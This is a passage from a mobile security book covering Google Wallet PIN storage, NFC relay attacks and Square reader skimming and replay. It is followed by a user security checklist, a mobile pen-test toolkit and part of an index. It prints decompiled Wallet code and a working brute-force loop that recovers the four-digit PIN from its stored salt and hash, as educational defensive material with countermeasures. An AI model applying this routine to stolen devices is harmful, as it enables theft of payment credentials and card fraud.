 1. The attacker steals the victim’s mobile device. While acquiring the PIN 
remotely via malware with root access is possible, remote access is of little use 
to a remote attacker because the PIN protects the Google Wallet application 
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locally on the mobile device. The PIN is only valuable to a remote attacker if 
the victim also reuses that PIN to protect online resources in some other system. 
The standard Google account password is used to protect the Google Wallet 
web application, not the PIN.

 2. The attacker roots the mobile device via a privilege escalation exploit such as 
mempodroid (CVE-2012-0056) or the Samsung Exynos kernel exploit (CVE-
2012-6422). Installing an exploit application on the mobile device is easy for 
the attacker if the victim did not set up Android’s screen lock. An attacker 
could also install an exploit application if the victim had previously enabled 
ADB debugging (adb install). The ideal situation for the attacker is for 
the victim’s device to already be rooted and devoid of an Android screen 
lock. Another ideal situation for the attacker is if the victim’s device is already 
rooted, has ADB debugging enabled, and ADB shell is set up to be allowed root 
access via Superuser, which is commonly used to grant and manage root access 
on an application-by-application basis.

Figure 9-3 The Google Wallet Android application is protected by a four-digit PIN.
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 3. The attacker then installs an application on the mobile device designed to 
perform the offl ine brute-force attack.

 4. The application, which has root access, recovers the PIN based on information 
stored in the Google Wallet’s data directory and now the attacker can use 
the Google Wallet application to purchase goods. Joshua Rubin developed 
an application called Wallet Cracker to demonstrate this attack (forum.xda-
developers.com/showthread.php?t=1487725), which is shown in Figure 9-4.

Now that you know the basics of the attack, let’s review the details of Google Wallet’s 
PIN verification functionality at the code level. When a user sets his or her PIN, the 
doSetPin function within the PinManagerImpl class converts the entered PIN into an 
integer and also generates a random 64-bit salt value using the SecureRandom class as 
shown in the following Java code. The doSetPin function then calls the hashPin
function that concatenates the PIN together with a salt and then uses the SHA-256 
hashing function to produce a hash of the concatenated value. Additionally, the PIN 
retry counter is set to six attempts within this function.

Figure 9-4 The Wallet Cracker application can recover the Google Wallet PIN within seconds 
on a rooted mobile device.
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protected boolean doSetPin(WalletClient.DeviceInfo.PinInfo.Builder
paramBuilder, UserPin paramUserPin)
  {
    WLog.d(TAG, "doSetPin");
    int i = userPinAsInt(paramUserPin);
    long l = this.mSecureRandom.nextLong();
    String str = hashPin(i, l);
    paramBuilder.setPinTryCounter(6).setPinTryLimit(6).setLocalSalt(l)
    .setLocalPinHash(str);
    return true;
  }
...
String hashPin(int paramInt, long paramLong)
  {
    String str = Integer.toString(paramInt) + Long.toString(paramLong);
    return this.mDigestUtil.sha256(str);
  }

Google Wallet later stores the SHA-256 hash and the salt into a SQLite database 
located within its data directory (/data/data/com.google.android.apps.walletnfcrel/
databases/walletDatastore). More specifically, the row with the id equal to deviceInfo 
within the nebulously named metadata table contains the relevant PIN data. The PIN 
data is stored in a serialized format using the Protocol Buffers library, which was also 
developed by Google.

After the PIN data is stored in the SQLite data, users must type in their PIN prior to 
using the application or after a PIN timeout. The following decompiled Java code shows 
how Google Wallet verifies the entered PIN. A SHA-256 hash is again calculated based 
on the entered PIN and the salt stored in the database. If the calculated hash equals the 
hash stored in the database, then the user is allowed to use the Google Wallet. Otherwise, 
the PIN try counter is incremented.

  protected boolean doVerifyPin(WalletClient.DeviceInfo.PinInfo.Builder
  paramBuilder, UserPin paramUserPin)
  {
    int i = 1;
    WLog.d(TAG, "doVerifyPin");
    String str1 = hashPin(userPinAsInt(paramUserPin),
paramBuilder.getLocalSalt());
    if (paramBuilder.getLocalPinHash().equals(str1))
    {
      paramBuilder.setPinTryCounter(paramBuilder.getPinTryLimit());
      String str3 = TAG;
      Object[] arrayOfObject2 = new Object[2];
      arrayOfObject2[0] = Integer.valueOf(paramBuilder.getPinTryCounter());
      arrayOfObject2[i] = Integer.valueOf(paramBuilder.getPinTryLimit());

09-ch09.indd   246 6/19/2013   1:13:38 AM



Chapter 9: Mobile Payments 247

      WLog.vfmt(str3, "doVerifyPin true pinTryCounter=%s pinTryLimit=%s",
      arrayOfObject2);
    }
    while (true)
    {
      return i;
      paramBuilder.setPinTryCounter(-1 + paramBuilder.getPinTryCounter());
      String str2 = TAG;
      Object[] arrayOfObject1 = new Object[2];
      arrayOfObject1[0] = Integer.valueOf(paramBuilder.getPinTryCounter());
      arrayOfObject1[i] = Integer.valueOf(paramBuilder.getPinTryLimit());
      WLog.vfmt(str2, "doVerifyPin false pinTryCounter=%s pinTryLimit=%s",
      arrayOfObject1);
      i = 0;
    }
  }

Now that you understand Google Wallet’s PIN verification functionality, let’s look at 
how Wallet Cracker works. Besides providing a slick user interface, this application 
extracts the PIN data from Google Wallet’s SQLite database, deserializes the PIN data, 
and then launches an offline brute-force attack using the known SHA-256 hash and salt. 
The following Java code shows how Wallet Cracker brute-forces the PIN. Basically, the 
application tries the first possible PIN, concatenates it with the salt, hashes the result, 
and then compares it with the recovered hash. If the calculated hash does not match the 
recovered hash, then the application moves on to the next PIN. The PIN should be 
identified within seconds, since there are only 10,000 possible PINs. Furthermore, because 
the attack is against a copy of the hashed version of the PIN stored outside of the Google 
Wallet, the PIN counter mechanism has no bearing and Wallet Cracker can proceed with 
an unlimited number of guesses (the so-called offline attack noted earlier).

  private Integer bruteForcePin(Long salt, String hash) {
    for (Integer tryPin = 0; tryPin < 10000; ++tryPin) {
      try {
        byte calc[] = MessageDigest.getInstance("SHA256").digest((tryPin.
toString()+salt).getBytes());

        StringBuffer hex = new StringBuffer();
        for (final byte b : calc) {
          hex.append(HEX_DIGITS.charAt((b & 0xF0)
          >\> 4)).append(HEX_DIGITS.charAt((b & 0x0F)));
        }

        String calcHash = hex.toString();
        if (calcHash.toLowerCase().equals(hash.toLowerCase())) {
          return tryPin;
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        }
      } catch (NoSuchAlgorithmException e) {
        Log.e(TAG, "no such algorithm");
      }
    }

    return WalletCrackerDbHelper.PIN_ERROR;
  }

PIN Storage Vulnerability Countermeasures
Google’s response to the disclosure was that

the zvelo study was conducted on their own phone on which they disabled 
the security mechanisms that protect Google Wallet by rooting the device. To 
date, there is no known vulnerability that enables someone to take a consumer 
phone and gain root access while preserving any Wallet information such as 
the PIN. We strongly encourage people to not install Google Wallet on rooted 
devices and to always set up a screen lock as an additional layer of security 
for their phone. (quoted in the Bits blog, The New York Times, http://bits.blogs
.nytimes.com/2012/02/10/google-wallet-vulnerability/)

Assuming that no privilege escalation vulnerabilities exist in the Android operating 
system is incorrect, and although Google does not recommend running Google Wallet on 
a rooted device, that does not mean everyone will listen.

A stronger defense against this type of attack is to store the PIN in a tamper-resistant 
hardware element with well-defined interfaces, such as a SE coprocessor with associated 
APDU communications interface, which we discussed earlier in this chapter. Google 
Wallet could craft an APDU command that includes the PIN in the data field, which 
would be sent to a particular applet on the SE. The applet executing within the Java Card 
runtime environment on the SE would process the APDU command in the Applet
.process(APDU) method. If the PIN was successfully verified, then the applet should 
return a status word with the value of 0x9000 as part of the response APDU. Otherwise, 
the applet should increment its PIN try counter (again stored in the SE). If the PIN try 
counter exceeds a certain threshold, such as 5 or 10 attempts, then the applet should lock 
itself in order to prevent brute-force attempts. Any future attempts to access the applet 
should always fail, and the payment applets must not be permitted to be accessible over 
the contactless interface, so transactions cannot be conducted with a POS.

Countermeasures for Google Wallet Cracker
Google Wallet end-users should be aware of this attack and take a few steps to make 
exploitation substantially more difficult for the thief who just stole their mobile device. 
As stated previously, rooting your own mobile device makes it easier for a thief to pull 
off this attack, so don’t root your device if you want to also use Google Wallet. Additionally, 
users should enable the Android lock screen, disable ADB debugging, and keep up-to-
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date with the newest Android OS patches (this, of course, depends on manufacturer and 
MNO diligence with patch release cycles).

Relay Attacks
Relay attacks occur when an attacker relays a message from the victim to the intended 
receiver without modifying the message. The attacker may not understand the contents 
of the message if it is encrypted or obfuscated, but the attacker is simply replaying the 
messages to the intended receiver. This attack is certainly not new, but in 2005 Gerhard 
Hancke showed that relay attacks were a practical attack vector against contactless smart 
cards (rfidblog.org.uk/hancke-rfidrelay.pdf). These attacks are also applicable to mobile 
payment applications utilizing NFC to conduct contactless transactions. Figure 9-5 shows 
the layout of the relay attack against a NFC-based mobile payments application.

The following are the basic steps required to carry out a relay attack:

 1. The “mole” contactless reader controlled by the attacker gets close to the 
victim’s mobile device or contactless credit card.

 2. The attacker’s mobile device gets near a contactless POS terminal in order to 
buy something. The attacker’s device is using software NFC card emulation. 
Card emulation is a feature that allows a NFC-enabled device to emulate a 
contactless smartcard in software. NFC card emulation is supported by all 
Blackberry 7 and 10 devices that support NFC. Although Android does not 
offi cially support NFC card emulation, the custom ROM Cyanogen mod does.

 3. The contactless POS terminal sends an APDU command to the attacker’s 
mobile device. The fi rst APDU command selects the PPSE applet, which, in 
turn, provides information about available payment instruments on the mobile 
device, in preparation for making a payment.

 4. The attacker’s mobile device sends the APDU command to the “mole” 
contactless reader over the Internet or via some other communication channel, 
such as Bluetooth (assuming the attacker’s mobile device and the “mole” are 
within range).

Mole
contactless

reader

Contactless
POS

NFC TCP/IP NFC

Victim’s
mobile
device

Mobile device
(with card 
emulation)

Figure 9-5 A relay attack against a NFC-based mobile payments application
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 5. The “mole” contactless reader relays the APDU command to the victim’s 
mobile device over NFC.

 6. The victim’s mobile device responds by sending an APDU response to the 
“mole” contactless reader over NFC. The response to select the PPSE applet 
should include the File Control Information (FCI) template that includes a list 
of available payment instruments.

 7. The “mole” contactless reader sends the APDU response to the attacker’s 
mobile device over some communication channel.

 8. The attacker’s mobile device then sends the APDU response to the contactless 
POS terminal. This process continues until the transaction is complete. After 
receiving the information from PPSE, the contactless POS terminal then selects 
the relevant payment applet and acquires the processing options, payment 
credentials, and so forth.

The important part to note about this attack is that attacker’s mobile device and the 
“mole” contactless reader are simply relaying the APDU commands and responses 
between the actual contactless POS terminal and the victim’s mobile device. The attacker 
does not need to understand the contents of the messages between the victim and the 
intended receiver. Therefore, using message-level encryption or integrity checks would 
not prevent this type of attack because the attack is a simple range extension of the 
contactless communications.

It’s also important to note that this is a relay attack, not a replay attack. The attacker is 
not replaying legitimate activity, but is instead relaying attacker-initiated activity between 
the victim and the intended receiver. Thus, the attacker can perform arbitrary transactions 
without understanding the contents of the messages, which is probably much more 
interesting than replaying static prior transactions.

This type of relay attack has a few caveats: one, the attacker’s “mole” contactless 
reader needs to be relatively close to the victim, and two, the victim’s mobile payment 
application must be unlocked; that is, the payment applet must be available over the 
contactless interface during the attack. For contactless credit cards, the payment applet 
is always available over the contactless interface, but for mobile payment applications 
such as Google Wallet or the Isis Wallet, the payment applets are only exposed over the 
contactless interface after the user has entered his or her PIN and unlocked the virtual 
wallet.

Security researchers have started to demonstrate the feasibility of relay attacks against 
mobile payment systems, e-passports, and other smartcard-based systems to demonstrate 
the risks involved. Researcher Michael Roland disclosed in late 2012 that Google Wallet 
was vulnerable to a more severe version of the relay attack (arxiv.org/pdf/1209.0875
.pdf) because mobile malware on a victim’s phone could directly communicate with 
PPSE and the payment applets contained within SE over the contact interface. Normally, 
these applets are only used over the contactless interface to transfer the payment 
credentials to a contactless POS terminal. Figure 9-6 shows the layout of this next-
generation relay attack against Google Wallet or similar mobile payment systems that 
expose payment credentials over the contact interface.
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For this type of attack, we assume the victim’s mobile device has been compromised 
by malware that is capable of gaining root privileges, such as a piece of malware similar 
to the DroidDream malware (see Chapters 4 and 5). The victim might be tricked into 
installing a rogue APK via a phishing email or a compromised website. Acquiring root 
access to the device allows the malware to bypass Android’s Secure Element API 
authentication controls that restrict which Android applications can communicate with 
the SE. This malicious relay software now has the ability to communicate with the SE 
and starts listening for a connection over the Internet from the attacker’s mobile device. 
Here are the steps required to carry out this type of relay attack:

 1. The contactless POS terminal sends an APDU command to the attacker’s 
mobile device, which is using card emulation.

 2. The attacker’s mobile device relays the APDU command to one of the 
compromised mobile devices over the Internet.

 3. The network API on the victim’s mobile device passes the APDU command to 
the malware.

 4. The malware sends the APDU command to the Android’s SE API. Note that 
the malware can perform this action because it has bypassed the SE API 
authentication at the OS level.

 5. The SE API sends the APDU command to the SE. Again, in the case of a 
contactless transaction, the fi rst APDU command is directed at the PPSE applet 
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Secure
Element

API

Malicious
relay

software

Secure
Element

Contactless
POS

Mobile device
(with card 
emulation)

Software
running on
application
processor

Hardware
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9) R-APDU

3) C-APDU
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1) C-APDU
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Figure 9-6 A next-generation relay attack against a NFC-based mobile payments application that 
exposes payment applets over the contact interface
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and then the subsequent APDU commands are directed toward the proper 
payment applet.

 6. The SE provides an APDU response to the SE API. In the remaining 
steps shown in the diagram, the APDU response is relayed via the same 
communication channel all the way back to the contactless POS terminal. 
This process continues until the transaction is complete.

As you can see, the next-generation relay attack is more serious than the traditional 
relay attack because a malicious actor could remotely compromise a large number of 
Android devices that are running Google Wallet and then pick one to use when the 
attacker wants to purchase goods in a store. Essentially, the malicious actor could create 
a mobile payments botnet for the purpose of committing credit card fraud.

Relay Attack Countermeasures
A number of academic proposals have been made to prevent relay attacks. One proposal 
is that contactless POS terminals should enforce a time-out constraint on all transactions 
as per the globally recognized EMV specifications for chip-based consumer payment 
applications (see emvco.com), since the relay attack increases the time required to 
perform a transaction because it has to relay the same information over NFC and some 
other communications channel such as Bluetooth or the Internet. In theory, this anomalous 
time difference would block fraudulent transaction attempts by setting a time-out 
appropriately. This solution may not be ideal given that errors may cause the expected 
processing time for a normal transaction to vary greatly, and this mitigation may only 
prevent relay attacks over a long distance and not prevent relay attacks conducted over 
a shorter distance or a high-speed communications channel.

Another proposed solution is to use location information to detect that a relay attack 
is in progress. If the victim’s mobile device is not in the same geographic location as the 
POS terminal, then the transaction should be aborted. The main drawback to this 
mitigation is that it requires that the mobile device and POS terminal have GPS service 
during the time of a transaction, which may not be the case if the mobile payments 
system is designed to work in an offline mode. In addition, consumers would have to 
consent to having their locations tracked by the payments industry in order to validate 
transactions, a potentially unlikely scenario due to privacy concerns.

While preventing traditional relay attack is difficult in current systems, protecting 
against the next-generation relay attack is relatively straightforward, and the Google 
Wallet is no longer vulnerable to such attacks. Google Wallet no longer exposes the 
payment applets over the contact interface; therefore, malware installed on a mobile 
device can no longer pull payment credentials from the SE. These applets are now only 
exposed over the contactless interface because they only need to interact with a contactless 
POS terminal. A Java Card applet can programmatically determine whether it is being 
invoked over the contact interface or the contactless interface by invoking the 
getProtocol function associated with the APDU class and deny access over the contact 
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interface or the applet can be configured to only be exposed over the contactless interface 
declaratively during personalization via installation parameters.

SQUARE
The Square mobile payment system was released in 2010. It consists of a mobile 
application (Square Register) that interfaces with a magnetic stripe reader that plugs into 
a mobile device via the headphone/microphone jack. Square provides the magnetic 
stripe reader free of charge to anyone who signs up for the Square service. The Register 
software in combination with the reader allows anyone to take credit card payments and 
have the funds deposited into a bank account, with Square taking a small percentage of 
every transaction.

Square caught the eye of several security researchers (and one of their competitors, 
VeriFone), who publicly released exploits against their software in 2011. Let’s take a look 
at these exploits and where the software stands today.

Skimming
The Square reader works by encoding a swiped credit card into an audio stream, which 
is then sent to the Square servers for decoding and payment processing. Because the 
reader is a piece of external hardware, it cannot determine what application it is passing 
the audio-encoded card information to; it simply records the swipe and passes it to the 
mobile device.

VeriFone (a competitor to Square) released an application in 2011 that abused the 
functionality of the Square reader to turn a mobile device essentially into a credit card 
skimmer. VeriFone showed that any application could receive the audio data from the 
Square reader and, in turn, could decode the credit card information from it. An attacker 
could then clone the information stored on the credit card. Combine this with some 
malware repackaged as the Square Register software that sends a copy of the credit card 
information to a remote server, and now you have a botnet harvesting credit card 
information from unsuspecting customers and merchants!

Skimming Countermeasures
The main caveat to this attack is that if the attacker is using the Square card reader to 
skim your card … they already have your physical card in hand! This is no different than 
a rogue waiter skimming your card at a restaurant or a skimmer installed at a POS. The 
biggest issue here is that Square effectively lowered the price for attackers—now anyone 
can skim credit cards with a free reader and some software they download off the 
Internet.

The potential for a botnet of rogue Square readers makes this issue more severe, 
though to our knowledge no such attack has ever been performed. Both of these issues 
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were addressed, however, when Square updated its reader hardware. Where the original 
Square reader consisted of just the magnetic stripe reading heads attached to the audio 
jack, the new Square reader released in early 2012 contains additional hardware designed 
to encrypt the audio stream before it is passed to the device. This prevents a malicious 
application from decoding the card information from the reader. The encrypted card 
information is sent to Square’s servers where it is decrypted for payment processing, 
meaning the Register application does not need to touch the encrypted data and can 
simply pass it along with the other transaction data.

Replay Attack
As you saw in the skimming attack, any application on a mobile device could record the 
audio stream from the Square reader. This capability leads us to a more interesting attack, 
one in which an application can record the information provided by the reader and 
replay it back to the Register application at a later date to make another payment. Security 
researchers Adam Laurie and Zac Franken presented this attack at Black Hat 2011. They 
showed it was possible to record the card information from the reader to a computer and 
then replay that information back to the mobile device by connecting the two with a 
stereo cable, allowing them to reuse the skimmed credit card information repeatedly for 
payments.

More interestingly (and where this attack deviates from the previous skimming 
attack), they figured out the format for how the Square reader was encoding the Track 2 
data from the credit card. Armed with this knowledge, they were able to build an 
application that allowed them to enter credit card details and generate a new sound file 
containing the encoded credit card information, which they could then play back to the 
Register application the same way described previously. This meant that with just the 
Track 2 data, they were able to make a valid payment via Square. They never needed 
physical access to the card! This attack could provide anyone with stolen credit card 
information with a way to “cash out” those cards without needing to clone fake magnetic 
stripe cards.

Replay Attack Countermeasures
Killing two birds with one stone, Square’s addition of encryption hardware in the reader 
also helped to prevent this sort of replay attack. Although Square hasn’t released any 
details about what exactly their encryption entails, we decided to do a little testing of our 
own to see if this replay attack was still possible. After hacking together a custom cable 
(wiring a stereo cable into a cellphone headset microphone), we used the Square reader 
connected to a laptop to record a credit card swipe. Figure 9-7 shows the results of our 
testing.

Once we had a copy of the swipe, we connected our cable to an Android phone with 
the Register software installed and played back the sound file. The first time we did this, 
the transaction went through successfully, which is what we expected to happen; we 
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hadn’t really changed the way the application worked at this point. Next, we attempted 
to replay the sound file a second time. The Register application recognized the sound as 
a swipe again, but this time we got an error message from the application informing us 
that this was not a valid payment card. After several more attempts, it appears that it is 
not possible to replay the encrypted card information.

While we’re not sure exactly what Square is doing, we have some ideas about how 
they might be checking for replays. For example, the reader might be generating a 
random encryption key that is used to encrypt the Track 2 data, and then encrypting that 
key along with a nonce and a counter value with a preshared symmetric key or the 
Square server public key. Then they could concatenate the encrypted key with the 
encrypted Track 2 data, sign it, and pass it off to the server for verification and decryption, 
checking the counter to make sure the same request wasn’t being replayed. Of course, 
this is just speculation on our end, but whatever Square is doing, it seems to be 
working!

SUMMARY
Mobile payment systems have been on the verge of breaking into the mainstream for the 
last few years. Consumers are now being exposed to working systems such as Google 
Wallet and Isis. Forrester is predicting that 90 billion dollars will be spent via mobile 
payment systems in 2017, which is a striking predication considering only 12.8 billion 
dollars were spent in 2012. Their predication is based largely on the assumption that 
more and more people will make proximity payments via a system such as Google Wallet 
or Isis. We’ll have to wait to see what happens, but as the mobile payments industry 

Figure 9-7 Encrypted card data dump taken from Square reader
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grows, fraudsters will no doubt try to capitalize on the trend. While mobile payment 
systems have some clear security advantages over traditional magnetic stripe cards, 
including PIN protection and the use of dynamic transaction verifiers, such as dCVVs to 
prevent replay attacks, the devil is in the details. Attackers will no doubt discover and 
exploit implementation bugs and design flaws, so we will need to harden our mobile 
payment systems further to resist known attacks and continue researching and testing to 
uncover previously unknown weaknesses.
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This appendix highlights some of the options that end-users can adopt to ensure the 
security of private data and sensitive information stored on or accessed using their 
mobile devices. Mobile devices are no longer just for making calls and sending text 

messages. With the advent of smartphone technology, we are seeing a convergence of 
computing, mobility, and technology that makes user security awareness paramount for 
enabling a secure mobile ecosystem. The following is a compilation of recommendations 
we’ve collected from multiple resources during our mobile security travels, which we’ve 
found helpful both as users of these devices and, inevitably, as the go-to “expert” after 
something goes wrong with devices belonging to significant others, family members, 
and various shirt-tail relations of all sorts.

SECURITY CHECKLIST
Category Recommendation

Physical mark Mark your device with an easily identifi able feature, like a 
colored case or decal; it’s pretty easy to pick up the wrong phone 
from a table full of similar makes and models.

Device lock Always ensure that mobile devices are secured using PIN/
passcode/pattern locks to avoid unauthorized access and that 
auto-lock is set for an appropriate timeout period.

PIN/Passcode 
complexity

Use a nontrivial PIN, alphanumeric passcodes, or nontrivial 
patterns.

Remote wipe Always enable remote lock and wipe features, if supported by 
the manufacturer; for example, enable Find My iPhone on iOS 
devices.

Rooting/
Jailbreaking

Root or jailbreak mobile devices only if you understand the 
implications or know how to secure a rooted/jailbroken device. 
Rooting or jailbreaking makes the devices less secure or more 
vulnerable in the hands of a nontechnical user and potentially 
more useful to a skilled technical expert.

Auto-update/
patch

Enable your device to receive updates automatically and notify 
you when they are ready to install to ensure you’re up-to-date 
with the latest security patches.

Application 
installation

Only install applications from trusted sources or app stores. Do 
not install or download applications from random websites or 
side-load applications on to mobile devices.
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Category Recommendation

Application 
permission

Carefully review the permissions requested by applications 
at install time. Beware of applications requesting excess 
permissions; for example, a wallpaper application does not 
require access to Send/Receive SMS on your device. 

Application 
developer 
verifi cation

Verify the developer or company releasing an app before 
downloading or installing it. For example, the Angry Birds app is 
developed and released by Rovio Entertainment Ltd.; hence, do 
not install any version of the app released by any other entities.

Data Protection Enable Data Protection feature on iOS to ensure that all user 
data such as emails stored by the default mail app are encrypted 
when the device is locked or shut down. This also ensures that 
other apps have the ability to leverage iOS encryption, if they 
support data protection.

Device 
Encryption

Enable Device Encryption on Android devices (3.x and higher) to 
ensure that all user data on the device is encrypted and protected 
when the device is shut down.

Anti-malware 
solutions on 
Android 

Always install an anti-malware solution on Android devices and 
ensure that they are patched and up-to-date. Some of the leading 
anti-malware solutions for Android are Lookout, AVG, and 
F-Secure.

Data storage Do not store sensitive information, such as your PAI, PII, SSN, or 
other sensitive information, in publicly accessible locations such 
as the SD card, Picture Galleries, Photo Streams, and Notepads, 
as these locations do not inherently provide protection for stored 
data.

SMS and 
sensitive data

Do not send, store, or receive sensitive information such as 
passwords, SSNs, or any other private information over SMS 
channel. SMS channel and SMS inbox do not provide any explicit 
security mechanism and are common targets for attacks.

Password 
storage

Be careful when enabling mobile apps or mobile web pages to 
store/remember passwords. The Android platform does not 
provide explicit password protection mechanisms and, hence, 
could result in data exposure or password leakage through 
poorly implemented apps. Although iOS provides the keychain 
mechanism for secure password storage, apps often do not 
utilize this feature and the user has no way to determine if the 
app uses the keychain for secure storage.
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Category Recommendation

Credit card 
information

Avoid storing or allowing apps to remember your credit card 
information, unless absolutely necessary and secured by a 
trusted app. Not all apps provide the same level of security and 
implementation.

Profi les and 
certifi cates

Do not install certifi cates or provisioning profi les from untrusted 
sources.

App store 
passwords

Choose strong passwords for app store accounts (Apple 
App Store, Google Play, and so on) as more and more device 
functionalities are being associated with these accounts. Also, 
ensure that banking credentials and passwords are different from 
app store passwords.

Location 
Services

Do not allow every application installed on the device to use 
location services. Selectively enable location services, if required, 
for user activity.

Contacts Do not allow all applications to access Contacts and do not store 
any sensitive information (passwords, bank details, and so on) in 
contacts.

Background 
processing

Periodically review applications running on the device and 
ensure that only necessary applications are running in the 
background.

Device backup Periodically back up mobile devices and content. Ensure that all 
backups are encrypted or secure, if supported by the platform, to 
avoid data leakage and to protect sensitive information. Though 
not common, apps could store sensitive information in a publicly 
accessible location that could be exposed as part of unprotected 
backups.

Integrity of 
fi nancial apps

Always verify that fi nancial applications from banks, credit 
unions, and other institutions are released, managed, and 
published by the institution itself. Do not install or use fi nancial 
apps if they are published by external entities. Talk to your 
institution to confi rm their association with third-parties 
releasing apps on their behalf.

Public Wi-Fi 
and mobile 
apps

Avoid using mobile apps for sensitive activities over public Wi-
Fi; use 3G/4G instead. Although most apps handling sensitive 
data (banking/fi nancial apps) use SSL/TLS, those apps could 
include pages (Contact Us, FAQs, and so on) using WebKit (web 
browser) inside the app that retrieve content over HTTP. Unlike 
browsers, users cannot determine if the app is using HTTP/
HTTPS and can fall prey to phishing and man-in-the-middle 
(MiTM) attacks.
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Category Recommendation

Logout Ensure that you log out before exiting or moving away from 
sensitive applications (for example, banking applications), 
and do not leave the application logged in and running in the 
background.

One-time 
passwords 
(OTP)

Use email or interactive voice response (IVR) over SMS for 
retrieving OTPs, if supported by the OTP issuer. SMS Trojans and 
malware have the ability to intercept SMS messages without user 
knowledge or confi rmation.

Social media Ensure that social media apps are confi gured to use HTTPS while 
accessing or sending content over public Wi-Fi.
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We’ve covered numerous tools and techniques in this book for performing 
security assessments of mobile technologies. This appendix summarizes many 
items from our consulting arsenal in one convenient location, providing a 

cheat sheet of sorts for anyone interested in quickly learning the basics of mobile pen 
testing. For deeper information on each tool, consult the relevant chapter in this book 
where it’s covered in greater detail (for example, Chapter 3 for iOS and Chapter 4 for 
Android, and also check out Chapters 5, 6, and 8 for mobile malware, mobile browser/
service endpoint, and developer-oriented tools and techniques, respectively).

We’ve framed our cheat sheet within the generic process of a mobile pen test project, 
as follows:

• Preparation Setting up a proper test environment, including jailbreaking/
rooting the device (or, alternatively, obtaining appropriate emulator/simulator 
software if getting a device is too costly or otherwise not feasible), so that full 
access is enabled for running code, network communications, and so on

• Instrumentation Deploying passive monitoring sensors at key junctures, such 
as web proxies, network sniffers, debuggers, and so on, to facilitate observation 
of potentially sensitive data as it transits the device

• Information gathering Active checking for basic security features like code 
signing, as well as potential vulnerabilities including known native language 
exploits and so on

• Testing Active disassembly, invasive testing, and observation of the 
application as well as associated infrastructure (for example, SQLite databases 
or data protection features)

We’ve also divided the discussion into iOS and Android sections, for greater efficiency.

We have not included URL references to many of the tools listed here to save space—we figure you’ll 
use your favorite Internet search tool to find them in any case.

iOS PEN TEST TOOLKIT
Phase/Task Tool/Technique

Preparation

Obtain device Purchase retail or rent from sites like perfectomobile.com or 
DeviceAnywhere (keynotedeviceanywhere.com).

Jailbreaking iOS 5.1+ with A5 processor: evasi0n

iOS 5.1 with A4 processor: sn0wbreeze, evasi0n, or redsn0w

Emulation iOS Simulator, part of iOS SDK

If source code is available, compile and run the code on the 
simulator.

11-appB.indd   264 6/14/2013   2:32:01 PM

http://www.perfectomobile.com
http://www.keynotedeviceanywhere.com


Appendix B: Mobile Application Penetration Testing Toolkit 265

Phase/Task Tool/Technique

Instrumentation

Web proxy Burp Suite, Charles

Proxy certifi cate Copy over via SD card, upload via a web server like 
realmb.com, or use your own web server to access the 
certifi cate and install it.

SSL cert pinning 
bypass

SSL Killswitch (also see “Binary disassembly and 
patching”) or TrustMe

TCP/IP sniffi ng tcpdump, Wireshark

Other tools Crackulous, AppCake, OpenSSL, and Cycript

Information Gathering

Checking for 
encryption using 
otool

Verify whether the binary is encrypted using
otool –l –v <Application Binary> | grep 
cryptid
cryptid 0 = not encrypted
cryptid 1 = encrypted

Decrypting app If app is encrypted, then decrypt it using clutch, AppCrack, 
or rasticrac.

Fat binary View architectures associated with the app:
otool –f <Application Binary> 

Check for 
complier fl ags to 
mitigate known 
framework-related 
vulnerabilities 

Automatic Reference Counter (ARC):
otool –l –v <Application Binary> | grep __
objc_release

Position Independent Executable (PIE):
otool -hv <Application Binary>

Stack canaries (stack smashing protection):
otool -I -v <Application Binary> | grep 
stack

App logging Xcode Organizer or AppSwitch

Testing

Binary disassembly 
and patching

IDA Pro, Hopper (hopperapp.com; check out ARM pseudo 
C functions), or otool –tV

Binary re-signing Codesign, iReSign, or ldid

Analyzing binaries File Juicer

Class-dump, class-dump-z, or iNalyzer (also helps runtime 
hooking tools like Cycript or GNU Project Debugger 
(GDB); see the next entry)
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Phase/Task Tool/Technique

Runtime hooking Cycript, GNU Project Debugger (GDB), or debugserver

Database browsing SQLite Database Browser

File system browsing Filemon, iExplorer, or SSH and SCP for you old school-ers :)

Miscellaneous tools Analyze the plist fi les using the open command on Mac OS 
X or plist editor on Windows.
View binary cookies using BinaryCookieReader.py.
Use Keychain Dumper to check for unencrypted 
information that is being stored on the keychain.

ANDROID PEN TEST TOOLKIT
Phase/Task Tool/Technique

Preparation

Obtain device Same as iOS

Rooting One Click Root using ClockworkMod Recovery elevates the 
permissions of normal users to su (root) users, SuperSU.

Emulation Android Emulator from SDK with proxy

Instrumentation

Network traffi c 
redirection

ProxyDroid

Web proxy Burp Suite, Fiddler, Charles (same as iOS)

Proxy certifi cate Same as iOS

SSL Cert pinning 
bypass

SSL Bypass 

TCP/IP sniffi ng tPacketCapture

tcpdump, Wireshark

Other tools BusyBox to provide more shell commands

Wireless ADB 

openssl-android

Information Gathering

Check app 
binary

Bundled into “Binary disassembly and patching” tools
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Phase/Task Tool/Technique

App logging Use adb logcat command to view log messages, or use 
Dalvik Debug Monitor Server (DDMS), which provides better 
logcat fi lters.

Intent fi lter views the Android intent logs (see also “Intent 
fuzzing”).

Testing

Binary 
disassembly and 
patching

android-apktool

Android Reverse Engineering (ARE): virtual machine that can 
be used for reverse engineering Android; includes DroidBox, a 
dynamic analysis tool, and Androguard, a static analysis tool 

apktool for smali/baksmali

dex2jar, converts dex into jar bytecode

jad, decompiles .jar into .java fi les

Ded, decompiles the .dex to .class fi les

APKinspector, helps with inspecting the code and dex classes

Manifest Explorer parses AndroidManifest.xml, which includes 
app activity, permissions, intents, and so on.

Binary re-signing keytool, jarsigner, and zipalign

Intent fuzzing Intent Fuzzer provides random data or unexpected data that 
causes apps to crash

Database 
browsing

SQLite Database Browser (same as iOS)

File system 
browsing

Dalvik Debug Monitor Server (DDMS)
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0-day vulnerability, 71
2012 Mobile Threat and Security 

Roundup, 140

▼ ▼ AA
A5/1 authentication, 29
Absinthe app, 53, 59
access

Internet, 5
offline, 217
physical, 9–10, 76–77, 78

Access Control Enforcer, 242
Access Granted Channel (AGCH), 29
access groups, 224–225
access tokens, 158, 160, 162
ADB (Android Debug Bridge), 88–89, 91, 248
ADB debugging, 244, 248
adbd (Android Debug Bridge Daemon), 122
addJavascriptInterface function, 

177–180
Address Space Layout Randomization 

(ASLR), 51, 52, 85, 230, 231
ADSafe, 223
Advanced RISC Machine. See ARM
AES key, 225
AGCH (Access Granted Channel), 29
agenda, 17–19
Airplane Mode, 79
AirWatch, 190
AKA authentication, 29

Allegra, Nicholas, 58
Amazon, 216
Amazon Marketplace, 219
Android apps. See also apps; specific apps

activities, 85
broadcast receivers, 85
code obfuscation, 94, 204
components, 85–86
content providers, 85
